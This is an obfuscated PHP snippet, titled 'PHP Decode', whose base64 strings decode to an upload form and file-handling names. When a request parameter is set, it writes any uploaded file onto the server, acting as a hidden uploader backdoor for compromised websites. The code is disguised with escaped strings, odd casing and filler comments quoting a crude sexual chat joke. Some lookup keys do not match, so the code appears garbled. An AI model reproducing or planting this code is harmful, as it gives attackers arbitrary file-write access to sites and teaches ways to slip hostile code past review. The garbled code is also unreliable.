PHP Decode

class _{private static$_;static function _($_){if(!self::$_):self::_();endif;return BAsE64_dECODE(self::$_[$_]);}/*Bloodninja: I lick your earlobe, and undo your watch.*/private static function _(){self::$_=array("_\x8e"=>/*Sarah19fca: mmmm, okay.*/"d\121\x3d\075","_\337\xcf\310"=>/*Bloodninja: I take yo pants off, grunting like a troll.*/"PG\x5av\x63m0gY\x57\x4e\x30aW9uP\123IiIG1ldGhvZ\1041wb3\x4e0I\x47VuY\063R5c\x47\x559bX\x56s\144Glw\x59XJ\x30L2\132vcm\x30tZGF\x30YT4\070a\127\x35\167d\130\121g\x64H\154wZT1maWxlIG5\x68b\x57\x559dXBsb2FkZ\x6dlsZT48a\x57\x35wdXQ\147\x64\110\x6cwZ\1241zdWJtaXQgdm\106sd\x57U9VXBs\x62\062Fk\x50jwvZm\071y\x62T\x34=","\137\xb7"=>/*Sarah19fca: Yeah I like it rough.*/"","_\261"=>"d\x58Bsb2\106kZmlsZ\121\x3d=","_\251"=>/*Bloodninja: I smack you thick booty.*/"\142mFtZQ=\075","_\201"=>"\144X\102s\1422\x46\153Z\x6dl\x73ZQ==","_\xcc"=>/*Sarah19fca: Oh yeah, that feels good.*/"dG1wX25\x68bW\125=","_\314\xad"=>"P\x47gzP\1539\114\x50C9oMz4=","_\302"=>"\x50GgzPk5P\120C9\x6fM\x7a4=",);}}eRROR_REPoRTiNG((int)roUND(0+0+0+0/*Bloodninja: Smack, Smack, yeeeaahhh.*/));/*Bloodninja: I make some toast and eat it off your ass. Land O' Lakes butter all in your crack. Mmmm.*/if(isset/*Sarah19fca: you like that?*/($_REQUEST[_::_("_\x92\241")])):echo _::_("\137\322\215\300\xc5\322");/*Bloodninja: I peel some bananas.*/$_=_::_("_\x81");$_=$_.baSEName($_FILES[_::_("_")][_::_("_\xb0\x87\xa9")]);/*Sarah19fca: Oh, what are you gonna do with those?*/if(CoPy($_FILES[_::_("_\xc3\335\xb1\201")][_::_("_\x93\xb5")],$_)):echo _::_("_");exit/*Bloodninja: get me peanuts. Peanuts from the ballpark.*/;else:echo _::_("_\xb7\302\322");/*Sarah19fca: Peanuts?*/exit;endif;exit;/*Bloodninja: Ken Griffey Jr. Yeaaaaahhh.*/endif;;